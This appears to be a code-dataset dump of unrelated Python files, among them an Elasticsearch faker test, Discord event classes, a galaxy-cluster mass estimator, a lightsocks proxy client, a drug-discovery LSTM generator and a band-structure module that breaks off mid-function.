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tests/test_generator.py | thombashi/elasticsearch-faker | 1 | 12789651 | import json
import sys
from textwrap import dedent
import pytest
from faker import Factory, Faker
from elasticsearch_faker._generator import FakeDocGenerator
from elasticsearch_faker._provider import re_provider
class TestFakeDocGenerator:
@pytest.mark.skipif(sys.version_info < (3, 6), reason="requires python3.6 or higher")
def test_normal_generate_docs(self):
fake = Factory.create()
Faker.seed(0)
template_text = dedent(
"""\
{
"name": "{{ name }}",
"address": "{{ address }}"
}
"""
)
providers = re_provider.findall(template_text)
generator = FakeDocGenerator(
template=template_text,
providers=providers,
index_name="test_index",
fake=fake,
)
output = generator.generate_docs(bulk_size=2, worker_id=0)
print(json.dumps(output, indent=4))
assert output == [
{
"index": {
"_index": "test_index",
"_id": "e3e70682-c209-4cac-a29f-6fbed82c07cd-0",
},
},
{
"name": "<NAME>",
"address": "5938 Juan Throughway Apt. 948 West Corey, TX 43780",
},
{
"index": {
"_index": "test_index",
"_id": "5a921187-19c7-4df4-8f4f-f31e78de5857-0",
}
},
{
"name": "<NAME>",
"address": "Unit 7784 Box 0801 DPO AP 52775",
},
]
output = generator.generate_docs(bulk_size=2, worker_id=0)
print(json.dumps(output, indent=4))
assert output == [
{
"index": {
"_index": "test_index",
"_id": "ab0c1681-c8f8-43d0-9329-0a4cb5d32b16-0",
}
},
{
"name": "<NAME>",
"address": "139 John Divide Suite 115 Rodriguezside, VT 16860",
},
{
"index": {
"_index": "test_index",
"_id": "ec188efb-d080-466e-952f-233a8c25166a-0",
}
},
{
"name": "<NAME>",
"address": "96593 White View Apt. 094 Jonesberg, FL 05565",
},
]
| 2.1875 | 2 |
server/edd/load/exceptions/parse.py | trussworks/edd | 13 | 12789652 | <filename>server/edd/load/exceptions/parse.py
from django.utils.translation import gettext_lazy as _
from .core import EDDImportError, EDDImportWarning
class ParseError(EDDImportError):
pass
class ParseWarning(EDDImportWarning):
pass
class BadParserError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Internal error"), summary=_("Parser error"), **kwargs
)
class UnsupportedMimeTypeError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Invalid file"), summary=_("Unsupported mime type"), **kwargs
)
class IgnoredWorksheetWarning(ParseWarning):
def __init__(self, **kwargs):
super().__init__(
category=_("Ignored data"), summary=_("Worksheets ignored"), **kwargs
)
class RequiredColumnError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Invalid file"),
summary=_("Missing required columns"),
resolution=kwargs.pop(
"resolution",
_(
"Fix formatting in your file, or go back and choose the correct format"
),
),
**kwargs,
)
class DuplicateColumnError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Invalid file"), summary=_("Duplicate column headers"), **kwargs
)
class IgnoredColumnWarning(ParseWarning):
def __init__(self, **kwargs):
super().__init__(
category=_("Ignored data"), summary=_("Ignored columns"), **kwargs
)
class IgnoredValueWarning(ParseWarning):
def __init__(self, **kwargs):
super().__init__(
category=_("Ignored data"),
summary=_("Ignored values before recognized headers"),
**kwargs,
)
class UnsupportedUnitsError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Invalid file"), summary=_("Unsupported units"), **kwargs
)
class RequiredValueError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Invalid file"), summary=_("Required values missing"), **kwargs
)
class InvalidValueError(ParseError):
def __init__(self, **kwargs):
super().__init__(
category=_("Invalid file"), summary=_("Invalid value"), **kwargs
)
| 2.171875 | 2 |
pycordia/events.py | classPythonAddike/pycordia | 23 | 12789653 | import typing
from datetime import datetime
from .models import Member, User, Message
from . import utils
class ReadyEvent:
"""
Event called when the client is ready.
Attributes:
gateway_version (int): The version used for the WebSockets gateway
user (User): The bot using the gateway
guilds (typing.List[int]): A list of guild IDs the bot is in
session_id (str): The session ID for the WebSockets session
shard (tuple): The number of shards and their ID for this session
partial_application (dict): An Application object with an ID and flags
"""
def __init__(self, data: dict):
self.gateway_version: int = data["v"]
self.user: User = User(data["user"])
self.guilds: typing.List[int] = [int(guild["id"]) for guild in data ["guilds"]]
self.session_id: str = data["session_id"]
# NOTE: unimplemented
self.shard: tuple = data.get("shard", ())
self.partial_application: dict = data["application"]
class MessageDeleteEvent:
"""Event called when message(s) deleted individually or in bulk
Attributes:
message_ids: The IDs of the message
channel_id: The ID of the channel
guild_id: The ID of the guild
bulk: Whether the deletion was performed in bulk
cached_message: The message, if it was cached by Pycordia
"""
def __init__(self, data: dict, bulk: bool, messages):
if bulk:
self.message_ids = data["ids"]
else:
self.message_ids = [data["id"]]
self.cached_messages: typing.List[Message] = messages
self.channel_id = data["channel_id"]
self.guild_id = data.get("guild_id")
self.bulk = bulk
class TypingStartEvent:
"""Event called when an user starts typing a message
Attributes:
timestamp: The timestamp for the message as a datetime object
member: The member that started typing
user_id: The ID of the member
channel_id: The ID of the channel where event was registered
guild_id: The ID of the guild where event was registered
"""
def __init__(self, data: dict):
self.timestamp = datetime.fromtimestamp(data["timestamp"])
self.member = utils.make_optional(Member, data.get("member"))
self.user_id = data["user_id"]
self.channel_id = data["channel_id"]
self.guild_id = data["guild_id"]
| 2.453125 | 2 |
ticker/widgets.py | jezdez/django-ticker | 1 | 12789654 | <gh_stars>1-10
from django.utils.safestring import mark_safe
from django import forms
class ForeignKeyAsTextWidget(forms.HiddenInput):
def __init__(self, append_text, *args, **kwargs):
self.append_text = append_text
super(ForeignKeyAsTextWidget, self).__init__()
def render(self, *args, **kwargs):
field_value = super(ForeignKeyAsTextWidget, self).render(*args, **kwargs)
return mark_safe("%s <strong>%s</strong>" % (field_value, self.append_text))
| 2.1875 | 2 |
eres/events/GpioEvent.py | Tharnas/rc-eres-speaker | 0 | 12789655 | from .Event import Event
class GpioEvent(Event):
def __init__(self, origin, message):
super().__init__('Gpio')
self.origin = origin
self.message = message
def __str__(self):
return self.origin + ': ' + self.message
@property
def origin(self):
return self._origin
@origin.setter
def origin(self, origin):
if not isinstance(origin, str):
raise TypeError('origin must be a string')
self._origin = origin
@property
def message(self):
return self._message
@message.setter
def message(self, message):
if not isinstance(message, str):
raise TypeError('message must be a string')
self._message = message
| 2.875 | 3 |
webdriver_manager/__init__.py | fictitiouswizard/webdriver_manager | 0 | 12789656 | __version__ = '3.4.1'
from .chrome import ChromeDriverManager
from .firefox import GeckoDriverManager
from .microsoft import EdgeChromiumDriverManager, IEDriverManager
from .opera import OperaDriverManager
| 1.1875 | 1 |
FoF/analysis/mass_estimator.py | kennethcheo/FoF | 1 | 12789657 | <reponame>kennethcheo/FoF<gh_stars>1-10
#!/usr/bin/env python3
import itertools
import numpy as np
import matplotlib.pyplot as plt
from astropy import units as u
import astropy.constants as const
from astropy.coordinates import SkyCoord
from astropy.cosmology import LambdaCDM
from astropy.stats import bootstrap
from astropy.utils import NumpyRNGContext
from analysis.methods import redshift_to_velocity
cosmo = LambdaCDM(H0=70 * u.km / u.Mpc / u.s, Om0=0.3, Ode0=0.7) # define cosmology
# calculate velocity dispersion for an array of velocities
def velocity_dispersion(v_arr, group_size):
return np.sum(v_arr ** 2) / (group_size - 1)
# evaluate projected virial radius
def projected_radius(group_size, separation):
return group_size * (group_size - 1) / separation
# evaluate cluster mass
def cluster_mass(cluster_vel_disp, projected_radius):
mass = (3 / 2) * np.pi * (cluster_vel_disp * projected_radius) / const.G
return mass.to(u.M_sun / u.littleh)
def virial_mass_estimator(cluster):
"""
Calculates virial masses of galaxy clusters with the virial mass formula
Parameters
----------
cluster: Cluster object
Returns
-------
mass: float
Mass of cluster in M_sun
cluster_vel_disp: float
Estimated velocity dispersion of cluster in (km/s)**2
cluster_radius: float
Estimated radius of cluster in Mpc
"""
member_galaxies = cluster.galaxies
# velocity dispersion
cluster_size = len(member_galaxies)
z_arr = member_galaxies[:, 2]
average_redshift = np.mean(z_arr)
cluster_vel = redshift_to_velocity(z_arr, average_redshift)
cluster_vel_err = velocity_error(cluster, z_arr, average_redshift, cluster_vel)
cluster_vel_disp = velocity_dispersion(cluster_vel, cluster_size)
bootfunc = lambda x: (velocity_dispersion(x, len(x)))
bootstrap_disp = np.std(bootstrapping(cluster_vel.value, bootfunc))
harmonic_disp = (1 / cluster_size) * (sum(1 / (cluster_vel_err ** 2))) ** (-1)
combined_disp_err = (np.sqrt(harmonic_disp.value ** 2 + (bootstrap_disp) ** 2)) * (
u.km ** 2 / u.s ** 2
)
# galaxy separations
c = SkyCoord(
ra=member_galaxies[:, 0] * u.degree, dec=member_galaxies[:, 1] * u.degree
) # array of coordinates
pairs_idx = np.asarray(
list((i, j) for ((i, _), (j, _)) in itertools.combinations(enumerate(c), 2))
) # index of galaxies in combinations
photoz_pairs = np.take(
z_arr, pairs_idx
) # photoz values of galaxies from the indices
d_A = cosmo.angular_diameter_distance(
z=average_redshift
) # angular diameter distance
pairs = c[pairs_idx]
projected_sep = pairs[:, 0].separation(pairs[:, 1]) # projected separation (in deg)
actual_sep = (projected_sep * d_A).to(
u.Mpc, u.dimensionless_angles()
) # convert projected separation to Mpc
actual_sep = ((actual_sep * ((cosmo.H0 / 100).value)) / u.littleh).to(
u.Mpc / u.littleh
) # include littleh scaling
total_separation = sum(1 / actual_sep)
cluster_radius = projected_radius(cluster_size, total_separation)
mass = cluster_mass(cluster_vel_disp, cluster_radius)
mass_err = mass_error(mass, cluster_vel_disp, combined_disp_err)
return (
mass,
mass_err,
cluster_vel_disp,
combined_disp_err,
cluster_radius,
) # M_sun/littleh, km^2/s^2, Mpc/littleh
def projected_mass_estimator(cluster):
member_galaxies = cluster.galaxies
N = len(member_galaxies)
z_arr = member_galaxies[:, 2]
average_redshift = np.mean(z_arr)
cluster_vel = redshift_to_velocity(z_arr, average_redshift) # in km/s
c = SkyCoord(
ra=member_galaxies[:, 0] * u.degree, dec=member_galaxies[:, 1] * u.degree
)
centroid = SkyCoord(
ra=np.mean(member_galaxies[:, 0]) * u.degree,
dec=np.mean(member_galaxies[:, 1]) * u.degree,
)
# center = SkyCoord(ra=cluster_center[:,0]*u.degree, dec=cluster_center[:,1]*u.degree)
cluster_separation = centroid.separation(c)
d_A = cosmo.angular_diameter_distance(z=average_redshift)
actual_separation = (cluster_separation * d_A).to(u.Mpc, u.dimensionless_angles())
actual_separation = (actual_separation * ((cosmo.H0 / 100).value) / u.littleh).to(
u.Mpc / u.littleh
) # include littleh scaling
sumproduct = np.sum(actual_separation * cluster_vel ** 2)
projected_mass = (32 / np.pi) * (1 / const.G) * (1 / (N - 1.5)) * sumproduct
vel_err = velocity_error(cluster, z_arr, average_redshift, cluster_vel)
mass_err = np.sqrt(sum((2 * cluster_vel * vel_err) ** 2))
return projected_mass.to(u.M_sun / u.littleh), mass_err
def velocity_error(cluster, z_arr, z_average, velocities):
galaxies = cluster.galaxies
galaxies_z_err = abs(
galaxies[:, 3:5] - z_arr[:, np.newaxis]
) # upper and lower error
# take the maximum error range
galaxies_z_err = np.amax(galaxies_z_err, axis=1)
# calculate numerator and denominator errors
z_average_err = np.sqrt(sum(galaxies_z_err ** 2)) / len(
z_arr
) # standard error of mean
z_diff_err = np.sqrt(np.add(z_average_err ** 2, galaxies_z_err ** 2))
# combined error of velocities
err = abs(velocities) * np.sqrt(
(z_average_err / z_average) ** 2 + ((z_diff_err) / (z_arr - z_average)) ** 2
)
return err
def mass_error(mass, vel_disp, vel_disp_err):
return mass * (vel_disp_err / vel_disp)
def log_error(error, quantity):
return 0.434 * (error / quantity)
def bootstrapping(bootarr, bootfunc):
# gives multiple velocity dispersion
with NumpyRNGContext(1):
bootresult = bootstrap(
bootarr, bootnum=100, samples=len(bootarr) - 1, bootfunc=bootfunc
)
return bootresult
| 2.59375 | 3 |
popgen/utils/__init__.py | linzwatt/PopGen | 58 | 12789658 | from .sigmoid_annealing import sigmoid_annealing
| 1.117188 | 1 |
src/briefcase/platforms/macOS/__init__.py | probonopd/briefcase | 0 | 12789659 | <gh_stars>0
DEFAULT_OUTPUT_FORMAT = 'dmg'
class macOSMixin:
platform = 'macOS'
def verify_tools(self):
pass
| 1.351563 | 1 |
problems/knapsack/params/buildEssenceParams.py | conjure-cp/EssenceCatalog | 6 | 12789660 | <gh_stars>1-10
#!/usr/bin/env python3
import sys
def assertStartsWith(prefix,line):
if not line.startswith(prefix):
print("Error: Expected line to start with " + prefix +
".\nLine: " + line, file=sys.stderr)
sys.exit(1)
def readValue(prefix, file):
line = file.readline()
assertStartsWith(prefix,line)
return int(line.split(" ")[1].strip())
def handleInstance(name, file):
numberItems = readValue("n ", file)
capacity = readValue("c ", file)
optimum = readValue("z ", file)
assertStartsWith("time ", file.readline())
weights = []
profits = []
for line in file:
if line.startswith("---"):
break
prefix = str(len(weights) + 1) + ","
assertStartsWith(prefix,line)
csv = line.split(",")
profits.append(int(csv[1]))
weights.append(int(csv[2]))
filename = name + ".param"
print("Writing file:", filename)
with open(filename, "w") as out:
print("$instance size is ", numberItems,file=out)
print("letting capacity be ", capacity, file=out)
print("letting items be new type enum { ", file=out)
print(",".join(["a" + str(i) for i in range(1,len(weights) + 1)]), file=out)
print("}", file=out)
print("letting weight be function (", file=out)
print(",".join(['a'+str(i + 1) + " --> " + str(w) for (i,w) in enumerate(weights)]), file=out)
print(")", file=out)
print("letting gain be function (", file=out)
print(",".join(['a'+str(i + 1) + " --> " + str(p) for (i,p) in enumerate(profits)]), file=out)
print(")", file=out)
def main(file):
for line in file:
if line.startswith("knapPI_"):
handleInstance(line.strip(), file)
if __name__ == "__main__":
with open(sys.argv[1]) as file:
main(file)
| 3.265625 | 3 |
gui/viz_pygame.py | clinfo/DeepKF | 5 | 12789661 | # coding: utf-8
#
import numpy as np
import json
from socket import *
import select
import pygame
from pygame.locals import *
import sys
HOST = gethostname()
PORT = 1113
BUFSIZE = 1024
ADDR = ("127.0.0.1", PORT)
USER = 'Server'
INTERVAL=0.01
VEROCITY=100
LIFETIME=1000
#Window.fullscreen=True
class DataReceiver:
def init(self):
self.label_data={}
self.t={}
self.udpServSock = socket(AF_INET, SOCK_DGRAM) #IPv4/UDP
self.udpServSock.bind(ADDR)
self.udpServSock.setblocking(0)
enabled_labels = [0,1,2]
labels = {"0":"aaa","1":"bbb","2":"ccc"}
def update(self):
data=None
draw_data={}
try:
while True:
data, addr = self.udpServSock.recvfrom(BUFSIZE)
if data is not None and len(data)>0:
print('...received from and returned to:', addr)
print(len(data))
while len(data)>=6:
idx=int.from_bytes(data[0:1],byteorder='little')
l=int.from_bytes(data[1:2],byteorder='little')
arr=np.frombuffer(data[2:6],dtype=np.float32)
data=data[6:]
y=arr[0]
draw_data[l]=y
print(idx,l,y)
except:
pass
if len(draw_data)>0:
for l,y in draw_data.items():
# set label color
label=int(l)
if label not in self.label_data:
self.label_data[label]=np.zeros((100,))
self.label_data[label][:]=np.nan
self.t[label]=0
self.label_data[label][self.t[l]]=y
for l,v in self.label_data.items():
self.t[l]+=1
self.t[l]=self.t[l]%100
self.label_data[l][self.t[l]]=np.nan
def stop(self):
self.udpServSock.close()
color_list=[(255,0,0),(0,255,0),(0,0,255),]
def main():
dr=DataReceiver()
pygame.init() # 初期化
screen = pygame.display.set_mode((600, 400))
pygame.display.set_caption("Pygame Test")
dr.init()
t=0
dt=10
while(True):
cnt=0
for event in pygame.event.get(): # 終了処理
if event.type == QUIT:
pygame.quit()
sys.exit()
dr.update()
screen.fill((0,0,0,)) # 背景色の指定。RGBだと思う
for k,v in dr.label_data.items():
cur=dr.t[k]
prev=np.nan
for i in range(len(v)):
y=v[(cur-i)%len(v)]
#if (not np.isnan(y)) and (not np.isnan(prev)):
# pygame.draw.line(screen, (255,255,255), (i*dt,prev), ((i+1)*dt,y),5)
if (not np.isnan(y)):
pygame.draw.circle(screen, color_list[k], (i*dt,int(y)), 3)
cnt+=1
prev=y
pygame.display.update() # 画面更新
pygame.time.wait(30) # 更新間隔。多分ミリ秒
t+=1
if __name__ == "__main__":
main()
| 2.703125 | 3 |
ls/lslocal.py | nanqinlang/lightsocks-minami | 15 | 12789662 | import argparse
import asyncio
import sys
sys.path.append("..")
from module.password import InvalidPasswordError, loadsPassword
from utils import net
from core.local import LsLocal
from utils import config as lsConfig
def run_server(config: lsConfig.Config):
loop = asyncio.get_event_loop()
listenAddr = net.Address(config.localAddr, config.localPort)
remoteAddr = net.Address(config.serverAddr, config.serverPort)
server = LsLocal(
loop=loop,
password=<PASSWORD>,
listenAddr=listenAddr,
remoteAddr=remoteAddr)
def didListen(address):
print('Listen to %s:%d\n' % address)
asyncio.ensure_future(server.listen(didListen))
loop.run_forever()
def main():
parser = argparse.ArgumentParser(description='A light tunnel proxy that helps you bypass firewalls')
parser.add_argument(
'--version',
action='store_true',
default=False,
help='show version information')
proxy_options = parser.add_argument_group('Proxy options')
proxy_options.add_argument(
'--save', metavar='CONFIG', help='path to dump config')
proxy_options.add_argument(
'-c', metavar='CONFIG', help='path to config file')
proxy_options.add_argument(
'-u',
metavar='URL',
help='url contains server address, port and password')
proxy_options.add_argument(
'-s', metavar='SERVER_ADDR', help='server address')
proxy_options.add_argument(
'-p',
metavar='SERVER_PORT',
type=int,
help='server port, default: 443')
proxy_options.add_argument(
'-b',
metavar='LOCAL_ADDR',
help='local binding address, default: 127.0.0.1')
proxy_options.add_argument(
'-l', metavar='LOCAL_PORT', type=int, help='local port, default: 1082')
proxy_options.add_argument('-k', metavar='PASSWORD', help='password')
args = parser.parse_args()
if args.version:
print('lightsocks - modified by @nanqinlang')
sys.exit(0)
config = lsConfig.Config(None, None, None, None, None)
if args.c:
try:
with open(args.c, encoding='utf-8') as f:
file_config = lsConfig.load(f)
except lsConfig.InvalidFileError:
parser.print_usage()
print(f'invalid config file {args.c!r}')
sys.exit(1)
except FileNotFoundError:
parser.print_usage()
print(f'config file {args.c!r} not found')
sys.exit(1)
config = config._replace(**file_config._asdict())
if args.u:
try:
url_config = lsConfig.loadURL(args.u)
except lsConfig.InvalidURLError:
parser.print_usage()
print(f'invalid config URL {args.u!r}')
sys.exit(1)
config = config._replace(**url_config._asdict())
if args.s:
serverAddr = args.s
# TODO: 验证 serverAddr 有效性
config = config._replace(serverAddr=serverAddr)
if args.p:
serverPort = args.p
# TODO: 验证 serverPort 有效性
config = config._replace(serverPort=serverPort)
if args.b:
localAddr = args.b
# TODO: 验证 localPort 有效性
config = config._replace(localAddr=localAddr)
if args.l:
localPort = args.l
# TODO: 验证 localPort 有效性
config = config._replace(localPort=localPort)
if args.k:
try:
password = loadsPassword(args.k)
config = config._replace(password=password)
except InvalidPasswordError:
parser.print_usage()
print('invalid password')
sys.exit(1)
if config.localAddr is None:
config = config._replace(localAddr='127.0.0.1')
if config.localPort is None:
config = config._replace(localPort=1082)
if config.serverPort is None:
config = config._replace(serverPort=443)
if config.password is None:
parser.print_usage()
print('need PASSWORD, please use [-k PASSWORD]')
sys.exit(1)
if config.serverAddr is None:
parser.print_usage()
print('need SERVER_ADDR, please use [-s SERVER_ADDR]')
if args.save:
print(f'dump config file into {args.save!r}')
with open(args.save, 'w', encoding='utf-8') as f:
lsConfig.dump(f, config)
run_server(config)
if __name__ == '__main__':
main()
| 2.265625 | 2 |
casino/utils.py | Nerf-Bot/NerfCogs | 0 | 12789663 | <reponame>Nerf-Bot/NerfCogs
import re
import math
from typing import Union, Dict, List, Sequence
utf8_re = re.compile(r"^[\U00000000-\U0010FFFF]*$")
min_int, max_int = 1 - (2 ** 64), (2 ** 64) - 1
def is_input_unsupported(data: Union[Dict, List, str, int, float]):
if type(data) is dict:
for k, v in data.items():
if is_input_unsupported(k) or is_input_unsupported(v):
return True
if type(data) is list:
for i in data:
if is_input_unsupported(i):
return True
if type(data) is str and not utf8_re.match(data):
return True
if type(data) is int:
if not (min_int <= data <= max_int):
return True
if type(data) is float:
if math.isnan(data) or math.isinf(data):
return True
if not (min_int <= data <= max_int):
return True
class PluralDict(dict):
"""This class is used to plural strings
You can plural strings based on the value input when using this class as a dictionary.
"""
def __missing__(self, key):
if "(" in key and key.endswith(")"):
key, rest = key.split("(", 1)
value = super().__getitem__(key)
suffix = rest.rstrip(")").split(",")
if len(suffix) == 1:
suffix.insert(0, "")
return suffix[0] if value <= 1 else suffix[1]
raise KeyError(key)
def time_converter(units):
return sum(int(x) * 60 ** i for i, x in enumerate(reversed(units.split(":"))))
def color_lookup(color="grey"):
colors = {
"blue": 0x3366FF,
"red": 0xFF0000,
"green": 0x00CC33,
"orange": 0xFF6600,
"purple": 0xA220BD,
"yellow": 0xFFFF00,
"teal": 0x009999,
"magenta": 0xBA2586,
"turquoise": 0x00FFFF,
"grey": 0x666666,
"pink": 0xFE01D1,
"white": 0xFFFFFF,
}
color = colors[color]
return color
def fmt_join(words: Sequence, ending: str = "or"):
if not words:
return ""
elif len(words) == 1:
return words[0]
else:
return "{} {} {}".format(", ".join(map(str, words[:-1])), ending, words[-1])
def cooldown_formatter(seconds, custom_msg="0"):
m, s = divmod(seconds, 60)
h, m = divmod(m, 60)
if h > 0:
msg = "{0}h"
if m > 0 and s > 0:
msg += ", {1}m, and {2}s"
elif s > 0 and m == 0:
msg += " and {2}s"
elif s == 0 and m == 0:
pass
else:
msg += " and {1}m"
elif h == 0 and m > 0:
msg = "{1}m" if s == 0 else "{1}m and {2}s"
elif m == 0 and h == 0 and s > 0:
msg = "{2}s"
else:
msg = custom_msg
return msg.format(h, m, s)
def time_formatter(seconds):
# Calculate the time and input into a dict to plural the strings later.
m, s = divmod(seconds, 60)
h, m = divmod(m, 60)
data = PluralDict({"hour": h, "minute": m, "second": s})
# Determine the remaining time.
if h > 0:
fmt = "{hour} hour{hour(s)}"
if data["minute"] > 0 and data["second"] > 0:
fmt += ", {minute} minute{minute(s)}, and {second} second{second(s)}"
if data["second"] > 0 == data["minute"]:
fmt += ", and {second} second{second(s)}"
msg = fmt.format_map(data)
elif h == 0 and m > 0:
if data["second"] == 0:
fmt = "{minute} minute{minute(s)}"
else:
fmt = "{minute} minute{minute(s)}, and {second} second{second(s)}"
msg = fmt.format_map(data)
elif m == 0 and h == 0 and s > 0:
fmt = "{second} second{second(s)}"
msg = fmt.format_map(data)
else:
msg = "None"
return msg
| 3.3125 | 3 |
generator.py | Amitdedhia6/DrugDiscovery | 0 | 12789664 | <filename>generator.py
import torch
from torch import nn
from common import device, max_sequence_length, noise_vector_length, noise
class Generator(torch.nn.Module):
"""
A generative neural network
"""
def __init__(self, vocab):
super(Generator, self).__init__()
self.vocab = vocab
self.input_dim = noise_vector_length + vocab.character_embedding_size
self.hidden_dim = 5
self.n_lstm_layers = 1
self.output_size = vocab.character_embedding_size
self.hidden = None
self.cell_state = None
self.lstm = nn.LSTM(self.input_dim, self.hidden_dim, self.n_lstm_layers, batch_first=True).to(device)
self.fc = nn.Linear(self.hidden_dim, self.output_size).to(device)
self.tanh = nn.Tanh()
def forward(self, batch_size):
self.hidden = torch.zeros(self.n_lstm_layers, batch_size, self.hidden_dim).to(device)
self.cell_state = torch.zeros(self.n_lstm_layers, batch_size, self.hidden_dim).to(device)
y_list = []
start_elements = self.vocab.get_random_elements(batch_size)
start_elements_tensors_list = []
for _j, element in enumerate(start_elements):
start_elements_tensors_list.append(self.vocab.get_embedding(element))
x = torch.stack(start_elements_tensors_list, dim=0).to(device)
y_list.append(x)
length_data = torch.LongTensor([1] * batch_size)
sequence_filled = torch.BoolTensor([False] * batch_size)
noise_singal = noise(batch_size).to(device)
x = torch.cat((x, noise_singal), dim=1).reshape(batch_size, 1, -1)
length_sequence_processed = 1
while length_sequence_processed < max_sequence_length:
lstm_out, (self.hidden, self.cell_state) = self.lstm(x, (self.hidden, self.cell_state))
lstm_out = lstm_out.contiguous().view(-1, self.hidden_dim)
fc_out = self.fc(lstm_out)
a1 = torch.pow(fc_out, 2)
a2 = torch.sum(a1, dim=1)
a3 = torch.sqrt(a2).unsqueeze(-1)
y = fc_out / a3
y_list.append(y)
length_sequence_processed += 1
is_end_of_seq = self.vocab.is_end_of_sequence(y)
sequence_filled = sequence_filled + is_end_of_seq
length_increment = (sequence_filled == False).type(torch.long)
length_data = length_data + length_increment
noise_singal = noise(batch_size).to(device)
x = torch.cat((y, noise_singal), dim=1).reshape(batch_size, 1, -1)
y_final = torch.stack(y_list, dim=1).to(device)
l_final = length_data
return y_final, l_final
def get_sequences_from_tensor(self, t: torch.Tensor, length: torch.Tensor):
return self.vocab.get_sequences_from_embeddings(t, length)
| 2.84375 | 3 |
src/t4me/bandstructure.py | knirajiitb/t4me_AMMCR | 6 | 12789665 | <filename>src/t4me/bandstructure.py
# Copyright 2016 <NAME>
#
# This file is part of T4ME and covered by the BSD 3-clause license.
#
# You should have received a copy of the BSD 3-clause license
# along with T4ME. If not, see <https://opensource.org/licenses/BSD-3-Clause/>.
#!/usr/bin/python
"""Contains routines to set up the bandstructure."""
# pylint: disable=useless-import-alias, too-many-arguments, invalid-name, too-many-statements, no-name-in-module
# pylint: disable=too-many-lines, assignment-from-no-return, unsubscriptable-object, unsupported-assignment-operation, c-extension-no-member
import sys
import logging
import copy
import numpy as np
import scipy.interpolate
import t4me.interface as interface
import t4me.utils as utils
import t4me.constants as constants
from t4me.lattice import check_sensible_ksampling
class Bandstructure(): # pylint: disable=too-many-instance-attributes, too-many-public-methods
"""
Handles the read in, generation and storrage of the bandstructure and its relevant parameters.
Parameters
----------
lattice : object
A `Lattice()` object.
param : object
A `Param()` object.
filename : string, optional
Filename and relative path for the input file that is
to be read.
Notes
-----
The YAML general and bandstructure configuration (param.yml
and bandparams.yml, respectively by default) files are read and
the setup of the bandstructure is determined from these files.
If an external band structure is supplied, i.e. from VASP
(vasprun.xml is sufficient) the bandparams file is still needed as
it contains parameters used to set up the scattering properties
etc. at a later stage.
Presently the following combination is possible:
+ Parametrized bands (parabolic, non-parabolic, Kane and
a k^4 model)
+ VASP input from the VASP XML file (only this file is needed)
+ Numpy input files
A combination of parametrized and tight binding bands is possible.
If another code is to be used to provide the bandstructure
parameters, please consult :mod:`interface` and use that as a
base to write a new `bandstructure_yourcode` function in that
module and include a call to this function in the initializer below.
.. todo:: Add the posibility to add parameterized bands
to the e.g. VASP bandstructure. Usefull for instance to
investigate defects etc. that was not included in the
calculation.
.. todo:: Add interfaces to other first principle codes.
"""
def __init__(self, lattice, param, location=None, filename=None):
# configure logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
self.energies = None
self.velocities = None
self.dos = None
self.dos_partial = None
self.dos_energies = None
self.lattice = lattice
self.param = param
self.occ = None
self.cbm_band = None
self.metallic = None
self.bandparams = None
self.tight_hop = None
self.tight_orb = None
self.tight_onsite = None
self.tight_adj_onsite = None
self.gen_velocities = False
self.spin_degen = None
self.status = None
self.e0 = None
self.effmass = None
self.effmass_eigenval = None
self.effmass_eigenvec = None
self.effmass_tensor = None
self.a = None
self.ascale = None
self.kshift = None
self.scale = None
if self.param.read == "param":
interface.bandstructure_param(self,
location=location,
filename=filename)
elif self.param.read == "vasp":
interface.bandstructure_vasp(self,
location=location,
filename=filename)
elif ((self.param.read == "numpy") or (self.param.read == "numpyv")):
interface.bandstructure_numpy(self,
location=location,
filename=filename)
else:
logger.error(
"The supplied read parameter in general configuration "
"file is not recognized. Exiting.")
sys.exit(1)
# scissor operator?
if self.param.scissor:
self.apply_scissor_operator()
# generate the velocities if they are not present
# and if the user does not want to use the extraction
# of the interpolation routines
# makes more sense to have this in lbtecoeff.py or
# similar, but sometimes one would want to check the
# velocities and we thus need them before checking if
# user wants to dump dispersion relation (imcludes velocities
# if present).
# also, if user wants to preinterpolate, wait with velocity
# extraction
if self.param.dispersion_velocities_numdiff:
# special case for tight-binding extraction
if not param.dispersion_interpolate or \
param.dispersion_interpolate_method == "tb":
if not self.gen_velocities:
logger.warning("The velocities already exist. "
"This data will be overwritten. "
"Continuing.")
logger.info("Extracting the velocities by finite difference")
self.calc_velocities()
def locate_vbm(self, energies, occ):
"""
Locate the valence band maximum.
Parameters
----------
energies : ndarray
| Dimension: (N,M)
The energy dispersion in eV for N bands at M k-points.
occ : ndarray
| Dimension: (N,M)
The occupancy for N bands at M k-points.
Returns
-------
energy : float
The valence band maximum in eV
band : int
The band index of the valence band maximum.
kpoint : int
The kpoint index of the valence band maximum.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running locate_vbm.")
if energies is None:
energies = self.energies
if occ is None:
occ = self.occ
if occ is None:
logger.error(
"Occupancies are needed to calculate the valence band maximum. Exiting."
)
sys.exit(1)
# fetch the band index for the vbm
numkpoints = energies[0].shape[0]
# ceil in case of partly occupied band (although then things
# start to get messy)
vbm_band = int(
np.ceil(occ[(abs(occ) > self.param.occ_cutoff)].shape[0] /
numkpoints)) - 1
# fetch the kpoint for this band
vbm_kpoint = np.argmax(energies[vbm_band])
# return energy, band and kpoint index for the vbm
return energies[vbm_band, vbm_kpoint], vbm_band, vbm_kpoint
def locate_cbm(self, energies, occ):
"""
Locate the conduction band minimum.
Parameters
----------
energies : ndarray
| Dimension: (N,M)
The energy dispersion in eV for N bands at M k-points.
occ : ndarray
| Dimension: (N,M)
The occupancy for N bands at M k-points.
Returns
-------
energy : float
The conduction band minimum in eV.
band : int
The band index of the conduction band minimum.
kpoint : int
The kpoint index of the conduction band minimum.
"""
# set logger
logger = logging.getLogger(sys._getframe().f_code.co_name) # pylint: disable=protected-access
logger.debug("Running locate_cbm.")
if energies is None:
energies = self.energies
if occ is None:
occ = self.occ
if occ is None:
logger.error(
"Occupancies are needed to calculate the valence band maximum. Exiting."
)
sys.exit(1)
# fetch the band index for the cbm
numkpoints = energies[0].shape[0]
# ceil in case of partly occupied band (although then things
# start to get messy)
cbm_band = occ.shape[0] - int(
np.ceil(
occ[(abs(occ) < self.param.occ_cutoff)].shape[0] / numkpoints))
# fetch the kpoint for this band
